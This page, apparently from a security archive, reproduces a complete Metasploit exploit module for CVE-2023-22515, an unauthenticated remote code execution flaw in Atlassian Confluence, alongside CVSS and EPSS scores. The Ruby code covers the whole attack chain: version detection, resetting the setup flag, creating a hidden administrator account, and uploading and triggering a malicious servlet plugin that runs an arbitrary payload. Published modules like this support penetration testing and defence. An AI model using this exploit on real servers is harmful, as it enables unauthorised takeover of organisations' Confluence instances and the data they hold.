Lucene search

K
packetstormSfewer-r7, metasploit.comPACKETSTORM:175225
HistoryOct 19, 2023 - 12:00 a.m.

Atlassian Confluence Unauthenticated Remote Code Execution

2023-10-1900:00:00
sfewer-r7, metasploit.com
packetstormsecurity.com
163

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.935 High

EPSS

Percentile

98.8%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Retry  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Atlassian Confluence Unauthenticated Remote Code Execution',  
'Description' => %q{  
This module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP  
parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for  
Java objects to be modified at run time. The exploit will create a new administrator user and upload a  
malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2,  
8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'sfewer-r7', # MSF Exploit & Rapid7 Analysis  
],  
'References' => [  
['CVE', '2023-22515'],  
['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis'],  
['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],  
],  
'DisclosureDate' => '2023-10-04',  
'Privileged' => false, # `NT AUTHORITY\NETWORK SERVICE` on Windows by default.  
'Targets' => [  
[  
'Automatic',  
{  
'Platform' => 'java',  
'Arch' => [ARCH_JAVA]  
}  
],  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
# Note we cannot delete the admin user we create, as Confluence prevents a user deleting themself.  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
# By default Confluence listens for HTTP requests on TCP port 8090.  
Opt::RPORT(8090),  
# Confluence may have a non default base path, allow user to configure that here.  
OptString.new('TARGETURI', [true, 'Base path for Confluence', '/']),  
# The endpoint we target to trigger the vulnerability.  
OptString.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', 'server-info.action']),  
# We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.  
OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])  
]  
)  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])  
)  
  
return CheckCode::Unknown('Connection failed') unless res  
  
# Ensure target is a Confluence server by identifying an expected HTTP header.  
return CheckCode::Unknown('No \'X-Confluence-Request-Time\' header') unless res.headers.key? 'X-Confluence-Request-Time'  
  
if res.code == 200 && res.body  
# Pull out the version string from one of three known locations within the HTML.  
m = res.body.match(/ajs-version-number" content="(\d+\.\d+\.\d+)"/i)  
if m.nil?  
m = res.body.match(/Printed by Atlassian Confluence (\d+\.\d+\.\d+)/i)  
if m.nil?  
m = res.body.match(%r{<span id='footer-build-information'>(\d+\.\d+\.\d+)</span>}i)  
end  
end  
  
unless m.nil?  
version = Rex::Version.new(m[1])  
  
ranges = [  
['8.0.0', '8.3.2'],  
['8.4.0', '8.4.2'],  
['8.5.0', '8.5.1']  
]  
  
# If we have a Confluence server within the given version ranges, it appears vulnerable.  
ranges.each do |min, max|  
if version.between?(Rex::Version.new(min), Rex::Version.new(max))  
return Exploit::CheckCode::Appears("Atlassian Confluence #{version}")  
end  
end  
  
# By here we know we have a confluence server, but the version found indicates it is safe.  
return Exploit::CheckCode::Safe("Atlassian Confluence #{version}")  
end  
end  
  
# By here we have identified a Confluence server, but could not get the version number to determine if it is  
# vulnerable of not.  
CheckCode::Detected  
end  
  
def exploit  
target_endpoint = normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])  
  
print_status("Setting the application configuration's setupComplete to false via endpoint: #{target_endpoint}")  
  
# 1. Leverage CVE-2023-22515 to modify a configuration setting, allowing us to reach the /setup/* endpoints.  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => target_endpoint,  
'vars_post' => {  
'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'  
}  
)  
  
unless res&.code == 302 || res&.code == 200  
fail_with(Failure::UnexpectedReply, "Unexpected reply from endpoint: #{target_endpoint}")  
end  
  
print_status('Creating a new administrator user account...')  
  
# usernames must be lowercase  
admin_username = rand_text_alpha_lower(8)  
admin_password = rand_text_alphanumeric(8)  
  
# 2. Create a new administrator user account.  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'setup', 'setupadministrator.action'),  
'headers' => {  
'X-Atlassian-Token' => 'no-check'  
},  
'vars_post' => {  
'username' => admin_username,  
'fullName' => rand_text_alphanumeric(8),  
# The email address does not need to be a valid address, but it must contain an @ character.  
'email' => "#{rand_text_alphanumeric(8)}@#{rand_text_alphanumeric(8)}",  
'password' => admin_password,  
'confirm' => admin_password,  
'setup-next-button' => 'Next'  
}  
)  
  
unless res&.code == 302 || res&.code == 200  
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/setupadministrator.action')  
end  
  
print_status("Created #{admin_username}:#{admin_password}")  
  
# 3. Force the setup to become completed, to allow normal Confluence operations to continue.  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'setup', 'finishsetup.action'),  
'headers' => {  
'X-Atlassian-Token' => 'no-check'  
}  
)  
  
unless res&.code == 200  
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/finishsetup.action')  
end  
  
print_status('Adding a malicious plugin...')  
  
# 4. Upload a new Confluence Servlet plugin, by first requesting a UPM token.  
res = send_request_cgi(  
'method' => 'GET',  
# Note, we concatenate '/' as this is required by the endpoint.  
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',  
'headers' => {  
'Authorization' => basic_auth(admin_username, admin_password),  
'Accept' => '*/*'  
},  
'vars_get' => {  
'os_authType' => 'basic'  
}  
)  
  
unless res&.code == 200  
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /rest/plugins/1.0/')  
end  
  
upm_token = res.headers['upm-token']  
unless upm_token  
fail_with(Failure::UnexpectedReply, 'No UPM token from endpoint: /rest/plugins/1.0/')  
end  
  
begin  
payload_endpoint = rand_text_alphanumeric(8)  
  
plugin_key = rand_text_alpha(8)  
  
# 5. Construct a malicious Servlet plugin JAR file. We set :random to true which will randomize the string  
# 'metasploit' in the class paths (via Rex::Zip::Jar::add_sub).  
jar = payload.encoded_jar(random: true)  
  
jar.add_file(  
'atlassian-plugin.xml',  
%(  
<atlassian-plugin name="#{rand_text_alpha(8)}" key="#{plugin_key}" plugins-version="2">  
<plugin-info>  
<description>#{rand_text_alphanumeric(8)}</description>  
<version>#{rand(1024)}.#{rand(1024)}</version>  
</plugin-info>  
<servlet key="#{rand_text_alpha(8)}" class="#{jar.substitutions['metasploit']}.PayloadServlet">  
<url-pattern>#{normalize_uri(payload_endpoint)}</url-pattern>  
</servlet>  
</atlassian-plugin>)  
)  
  
jar.add_file('metasploit/PayloadServlet.class', MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class'))  
  
message = Rex::MIME::Message.new  
  
message.add_part(jar.pack, 'application/octet-stream', 'binary', "form-data; name=\"plugin\"; filename=\"#{rand_text_alphanumeric(8)}.jar\"")  
  
# 6. Upload the malicious plugin.  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',  
'ctype' => 'multipart/form-data; boundary=' + message.bound,  
'headers' => {  
'Authorization' => basic_auth(admin_username, admin_password),  
'Accept' => '*/*'  
},  
'vars_get' => {  
'token' => upm_token  
},  
'data' => message.to_s  
)  
  
unless res&.code == 202  
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply code from endpoint: /rest/plugins/1.0/')  
end  
  
unless res.body =~ %r{<textarea>(.+)</textarea>}  
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply data from endpoint: /rest/plugins/1.0/')  
end  
  
begin  
plugin_json = JSON.parse(::Regexp.last_match(1))  
rescue JSON::ParserError  
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, failed to parse JSON data from endpoint: /rest/plugins/1.0/')  
end  
  
# We receive a JSON object like this:  
# <textarea>{"type":"INSTALL","pingAfter":100,"status":{"done":false,"statusCode":200,"contentType":"application/vnd.atl.plugins.install.installing+json","source":"JQEjEJBr.jar","name":"JQEjEJBr.jar"},"links":{"self":"/rest/plugins/1.0/pending/52227753-1c3e-496f-a4f4-d52a8b3850dc","alternate":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc"},"timestamp":1697471602188,"userKey":"4028d6b28b294680018b39311d17001e","id":"52227753-1c3e-496f-a4f4-d52a8b3850dc"}</textarea>  
  
links_alternate = plugin_json&.dig('links', 'alternate')  
if links_alternate.nil?  
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, no alternate link in reply from endpoint: /rest/plugins/1.0/')  
end  
  
print_status('Waiting for plugin to be installed...')  
  
# 7. The plugin is installed asynchronously, so we poll the server for installation to be completed.  
plugin_ready = retry_until_truthy(timeout: datastore['CONFLUENCE_PLUGIN_TIMEOUT']) do  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, links_alternate)  
)  
  
# We receive a JSON result to indicate if the plugin is finished installing.  
# {"links":{"self":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc","result":"/rest/plugins/1.0/plkWITNH-key"},"done":true,"type":"INSTALL","progress":1.0,"pollDelay":100,"timestamp":1697471602188}  
  
if res&.code == 200  
begin  
res_json = JSON.parse(res.body)  
next res_json['done']  
rescue JSON::ParserError  
next false  
end  
end  
  
false  
end  
  
unless plugin_ready  
fail_with(Failure::TimeoutExpired, 'Uploading plugin failed, timeout while waiting to install.')  
end  
  
print_status('Triggering payload...')  
  
# 8. Trigger the payload by performing a request to the malicious servlet endpoint.  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'plugins', 'servlet', payload_endpoint)  
)  
  
unless res&.code == 200  
fail_with(Failure::PayloadFailed, "Triggering payload failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")  
end  
ensure  
print_status('Deleting plugin...')  
  
# 9. Delete the plugin we uploaded as we no longer need it. We cannot delete the admin user we created as  
# Confluence doesnt allow a user to delete themself.  
res = send_request_cgi(  
'method' => 'DELETE',  
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0', "#{plugin_key}-key"),  
'headers' => {  
'Authorization' => basic_auth(admin_username, admin_password),  
'Connection' => 'close'  
}  
)  
  
unless res&.code == 204  
print_warning("Deleting plugin failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")  
end  
end  
end  
  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.935 High

EPSS

Percentile

98.8%